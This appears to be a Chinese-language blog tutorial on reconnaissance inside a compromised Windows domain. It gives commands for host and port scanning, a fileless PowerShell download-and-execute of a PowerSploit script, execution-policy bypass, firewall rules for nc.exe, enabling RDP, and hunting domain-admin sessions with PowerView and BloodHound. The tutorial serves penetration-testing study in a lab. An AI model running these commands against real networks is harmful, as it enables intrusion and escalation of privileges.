前言
众所周知,外网的信息搜集是极其重要的,信息搜集的到位,渗透站点就可以事半功倍,内网渗透亦是如此,本文简述了内网信息搜集的部分方式,希望能对在学习内网的师傅们有所帮助。
域内信息搜集
域内存活主机探测
1、利用netbios
快速探测内网
利用工具为Nbtscan
,下载链接如下
http://unixwiz.net/tools/nbtscan.html#download
使用指令如下
nbtscan.exe IP
ShARING
表示该机器有运行文件和打印共享服务
DC
表示机器可能是域控
2、利用icmp
协议快速探测内网
利用工具
1、ping命令,指令如下
for /L %I in (1,1,254) Do @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
3、利用arp
扫描完整探测内网
利用工具arp-scan
指令如下
arp-scan -t 192.168.1.0/24
4、利用常规TCP/UDP端口扫描探测内网
利用工具scanline
指令如下
sl -h -t 22,80-89,110,389,445,3389,8080,3306 -u 53,161,137,139 -O C:sl.txt -p 192.168.1.1-254 /b
表示探测192.168.1网段下的机器,探测22等端口,将结果输出至sl.txt
文件中
5、PowerSploit
脚本下载地址如下
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1
无文件形式的探测指令如下
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.1 -T 4 -ports '445,1433,80,8080,3389'"
无文件,即不下载文件,直接加载远程文件进行域内端口探测。
工作组信息搜集
本机信息搜集
1、查询网络配置
指令为ipconfig /all
通过此命令,我们可以看出该机器是否接入内网,例如我们这里的IP是192.168.1.2
,明显为内网主机,同时可以看到主机名及域名等相关信息。
2、查询用户列表
指令如下
net user //查看本机用户列表
可以看出我们这里有三个账号,分别是123
,Administrator
以及Guest
net localgroup administrator //查看本机管理员(通常含有域用户)
query user||qwinsta //查看在线用户
运行中的即是当前用户。
3、查询进程列表
指令如下
tasklist /v
可以看到当前运行的进程,主要有以下几个作用
1、判断是否存在杀软
2、查看运行进程的用户名(如果是管理员权限,可以考虑令牌窃取获取管理员权限)
3、查看是否存在虚拟机等其他可控机器
还有一个指令也可以查询进程
wmic process list brief
4、查询操作系统及安装软件版本信息
查询操作系统及版本信息,对应指令如下
systeminfo |findstr /B /C:"OS name" /C:"OS version" //如果是中文版把name和version翻译一下即可
查看安装软件名称,版本及路径等信息,对应指令如下
wmic product get name,version
可以看到安装的对应工具,如果是实战环境的话会有更多工具,如果版本存在漏洞的话就可以考虑提权等。
还有一个与它作用一致的指令
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
5、查看端口列表
查看端口列表对应指令如下
netstat -ano
可以看出开放的端口,如果在实战环境中,是能找到一些特征的,比如80,8081这种大概率开放的是Web服务,53开放则说明是DNS服务器,以及如果它是代理服务器的话,会有多台机器与其进行连接。
6、查询补丁列表
指令如下
systeminfo
这里因为是本地环境,没有补丁信息,如果是实战环境是会有补丁信息的。这个对于我们进行攻击有很大帮助,我们可以通过查看对应版本漏洞进行尝试攻击,如果没有打补丁攻击成功,那么说明域内其他同类主机很可能也是没有打补丁,可以进行攻击的。
查询补丁列表的另一指令
wmic qfe get description,installedOn
7、查询本机共享
net share
另一个可替代的命令
wmic share get name,path,status
8、防火墙
查询防火墙配置指令如下
netsh firewall show config
可以看到端口、协议等配置,不过我们这里关闭了防火墙,所以没有显现
自定义防火墙存储位置,指令如下
netsh advfirewall set currentprofile logging filename "C:windowstempfw.log"
修改防火墙配置,指令如下
A.Windows Server 2003及之前版本,允许指定程序全部连接指令
netsh firewall add allowedprogram c:nc.exe "allow nc" enable
B.Windows Server 2003及之后版本
允许指定程序接入指令如下
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:nc.exe"
允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:nc.exe"
允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
9、查询并开启远程连接服务
查看远程服务开放端口指令
REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber
这里存储的是十六进制值,d3d
转十进制后即为3389
,说明远程服务开放端口为3389
Windows Server 2008和Windows Server 2012开启3389方法
wmic /namespace:\rootcimv2terminalservices path win32_terminalservicesetting where(__CLASS !="") call setallowtsconnections 1
wmic /namespace:\rootcimv2terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
10、查看当前权限
whoami
有三种用户
1、普通用户
2、本地管理员
3、域用户
而后两者是可以查域信息的,我们这里如何判断是普通用户还是域用户呢,可以通过域名和主机名来判断,像我们这里查询出来的用户是testtestuser
,我们可以看出它的用户名是Win7
它的域为test
说明这个是域用户
获取用户SID指令如下
whoami /all
获取指定用户的详细信息
net user xxx /domain
查找域管理进程
本机检查
本机检查分为如下三步
1、获取域管理员列表
2、查看本机所有进程
3、交叉
即先看下所有管理员,再看本机下有没有对应管理员,然后选择两者都有的
net group "domain admins" /domain
接下来查询本地进程
tasklist -v
这里是演示,所以看起来都是管理员进程,如果在实战环境中是不会存在这样的情况的,如果在实战中,我们可能一个TESTAdministrator
也遇不到,如果有的话,模拟域管理员进程即可获取域管理员权限。
查询域控制器的域用户会话
这里分为四步
1、收集域控制器的列表
2、收集域管理员的列表
3、使用Netsess.exe查询每个域控制器,收集所有活动域会话的列表
4、将域管理员列表与活动会话列表交叉引用,以确定哪些IP地址具有活动域令牌
在这里仍以本地搭建的域环境为例:
收集域控制器,所使用指令如下
net group "domain controllers" /domain
接下来查询域管理员,同本机检查中查询的指令即可
net group "domain admins" /domain
接下来我们这里在另一机器连接域控
net use \192.168.1.1ipc$ "Qq123456." /user:testadministrator
此时执行完后利用Netsess.exe
收集域会话
注:Netsess可以在如下链接下载
joeware.net/freetools/tools/netsess/index.htm
此时可以发现成功找到了会话,与上文中查找到的管理员名称相同。
扫描远程系统上运行的任务
首先我们需要收集管理员列表,具体指令如下
net group "Domain Admins" /domain
运行脚本,内容如下
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL>output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n >NUL && echo [!] %n was found running a process on %i && pause
这里提示发现了管理员进程,我们查看output
文件
可以看到管理员相关进程
扫描远程系统上NetBIOS信息
FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL>nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL && echo [!] %n was found logged into %i
ips.txt
内存放域控地址,admins.txt
则存放收集到的管理员名字。然后这里将与admins.txt
中名字对应的筛选出来,将此类NetBIOS
信息保存到了nbsessions.txt
FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL>nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL && echo [!] %n was found logged into %i
两个脚本的区别如下
nbtscan -f:这个命令用于执行 NetBIOS 扫描,探测网络中具有 NetBIOS 服务的主机。使用 -f 选项时,命令会从一个文件中读取 IP 地址列表,并对列表中的每个 IP 进行扫描。它将发送特定的 NetBIOS 请求到目标主机,以获取主机名、MAC 地址、组名等信息。使用 nbtscan 可以快速识别出网络中运行 NetBIOS 服务的主机。例如,nbtscan -f ips.txt 将会从 ips.txt 文件中逐行读取 IP 地址,并进行扫描。
nbtstat -A:这个命令用于在指定 IP 地址上进行 NetBIOS 会话和共享资源的查询。通过执行 nbtstat -A <IP>,可以获取指定主机的 NetBIOS 会话列表和共享打开文件资源的列表。它将返回登录到目标主机的用户列表、会话信息、共享信息等。使用 nbtstat 可以检查网络中计算机的连接状态和活动会话。例如,nbtstat -A 192.168.0.10 将会查询 IP 地址为 192.168.0.10 的主机的 NetBIOS 信息。
这两个命令都与 NetBIOS 相关,但是nbtscan -f
更侧重于进行整个局域网的扫描,而nbtstat -A
则更侧重于查询单个主机的详细 NetBIOS 信息。
工具定位管理员
1、psloggedon.exe
工具链接如下
https://learn.microsoft.com/zh-cn/sysinternals/downloads/psloggedon
参数如下
-l 仅显示本地登录用户
-x 不显示时间
[\Computername|username]
使用时会弹出选择框,直接Agree
即可
具体操作结果如下
可以看出获取到了登录用户,登录时间等信息。
2、PVEFindADUser.exe
https://github.com/chrisdee/Tools/blob/master/AD/ADFindUsersLoggedOn/PVEFindADUser.exe
此工具用于查找域内AD用户登录位置,可以枚举域用户,查找在特定计算机下登录的用户,可以查找本地登录用户,查找RDP登录账号等。
前提条件
1、.NET2.0版本
2、管理员权限
使用指令为
PVEFindADUser.exe -current
3、Powershell
使用指令为Invoke-UserHunter
这里仅为本地测试,所以指令如下
Set-ExecutionPolicy Unrestricted //赋予执行脚本权限
Import-Module .PowerView.ps1 //导入脚本
Invoke-UserHunter //获取域管理员当前在线主机
正常情况下我们是没有权限更改脚本执行权限的,所以我们更多的是绕过来进行执行语句,绕过语句如下
powershell -exec bypass -command "& (import-module C:UsersAdministratorDesktopPowerView.psl;Invoke-UserHunter)"
信息搜集工具
Powershell
默认是关闭ps脚本执行权限的,我们可以通过如下指令查询
Get-ExecutionPolicy
这里可以发现是Restricted
,这个其实有四种情况
1、Restricted 不允许加载脚本
2、Allsigned 只执行有签名的脚本
3、UnRestricted 执行任意脚本
4、Remotestricted 本地不限制,远程需要签名才能执行
因此我们想要执行脚本的话需要进行开启,指令如下
Set-ExecutionPolicy Unrestricted
此时可以看到已变成最高权限
不过我们在真实环境中大多数情况是没有管理员密码的,所以现实情况是用的绕过多些,而不是直接修改权限。
这里接下来我们需要去下载我们的脚本,对应链接如下
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
而后就可以进行导入了
import-module .PowerView.ps1
此时可以看出导入成功
使用
1、获取当前用户所在域名称
Get-NetDomain
可以看出当前用户所在域名称为test.lab
2、获取所有用户详细信息
Get-Netuser
可以看出返回了所有用户的相关信息,包括但不限于用户名、登录时间、密码设置策略。
3、获取所有域控制器
Get-NetDomainController
因为是本地测试环境,我们这里只有一个域控,所以只查询出了一个。
4、获取所有域内机器详细信息
Get-Netcomputer
可以看到查询处了我们同域下的另一台机器,即WIN-7。
5、获取域中OU信息
GET-NetOU
6、获取所有域内组和组成员信息
Get-NetGroup
7、根据SPN获取当前域使用的文件服务器
Get-NetFileServer
8、获取当前域内所有共享
Get-NetShare
9、获取在指定机器存在的Session信息
Get-NetSession
10、获取在指定机器存在的远程连接信息
Get-NetRDPSession
可以看到连接状态等信息
11、获取远程主机的进程信息
Get-NetProcess
12、获取指定用户日志信息
Get-UserEvent
13、获取活动目录的对象信息
Get-ADObject
这个信息较多,是因为有AD的机器属于我们的域控,所有的信息都记录在内
14、获取域所有组策略对象
Get-NETGPO
15、获取域默认或域控制器策略
Get-DomainPolicy
16、用于获取域用户登陆计算机及该用户是否有本地管理权限
Invoke-UserHunter
抓到了登录过的用户名及机器信息
17、查找域内所有机器进程用于找到某特定用户
Invoke-ProcessHunter
18、根据用户日志获取某域用户登陆过哪些域机器
Invoke-UserEventHunter
绕过
接下来我们模拟真实场景,恢复权限为默认权限
此时再尝试加载可以发现是失败的
接下来我们假设场景中存在Cmd,我们这里通过cmd来实现执行powershell下的某个命令
先试试常规调用
powershell "import-module C:UsersAdministratorDesktopPowerView.psl;Get-Netuser"
再加上绕过语句
powershell -exec bypass "import-module C:UsersAdministratorDesktopPowerView.psl;Get-Netuser"
可以发现前者不能执行指令,后者成功执行指令,绕过成功。
BloodHound
安装
前提条件如下
1、安装JDK环境
2、安装Neo4j数据库
所以我们接下来首先来安装JDK,链接如下
https://www.oracle.com/java/technologies/downloads/#java11
而后传到受害机即可,这里是我们本地虚拟机演示,所以直接Vm文件共享就可以,默认安装即可。
安装完JDK后,接下来需要安装Neo4j数据库
下载链接如下
https://neo4j.com/artifact.php?name=neo4j-community-3.4.4-windows.zip
而后同上,传入虚拟机后点击bin
目录下,启动cmd,输入如下指令
neo4j.bat install-service
net start neo4j
此时可以看到启动成功,接下来我们尝试访问
这里提示需要账密登录
Host默认为 bolt://127.0.0.1:7687
User默认为 neo4j
Password默认为 neo4j
而后需要重置密码,在这里随意输入即可
此时前提工作已完成。接下来去安装工具即可,链接如下
https://github.com/BloodHoundAD/BloodHound/releases/download/3.0.2/BloodHound-win32-x64.zip
点击Login即可登录
使用
进入后界面如下
左上角的三个选项分别是数据库信息、节点信息、查询模块,映入眼帘所显示的分别是所分析域的用户数量、计算机数量、组数量、Sessions数量、ACLs数量、关系,我们可以在右边第四个窗口进行上传数据,BloodHound会帮助我们分析并展示数据。
点击Query,可以发现常用的功能
对应功能如下
1、查找所有域管理员
2、寻找最短到达域管理员路径
3、寻找管理员登陆记录
4、存在Session记录最多的前十个用户
5、存在Session记录最多的前十个计算机
6、拥有最多本地管理权限的前十个用户
7、拥有最多的管理员登陆的前十个机器
8、具有外部域组成员的用户
9、具有外部域组成员的组
10、域信任地图
11、SPN用户的最短路径
12、SPN用户到域管理员的最短路径
当存在数据时,点击用户可查看具体信息,包括修改密码时间等。
此工具绝大多数信息来自一个脚本,链接如下
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/DebugBuilds/SharpHound.ps1
接下来尝试用此脚本进行测试
SharpHound.exe -c all
正常的话是会输出数个文件的,然后将其导入BloodHound是可以看到可视化数据的,然后就是可以看到域内各种信息,点击用户可以看见详细信息
不过我这里出现了点差错,百度后说是NETFRame版本更新即可,但我更新后仍无效,所以这里不再进一步演示。
正常情况下的话,这里可以生成数据,而后我们将数据导入到BloodHound中,可以看到可视化图形,点击每台机器,可以看到主机名等相关信息。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论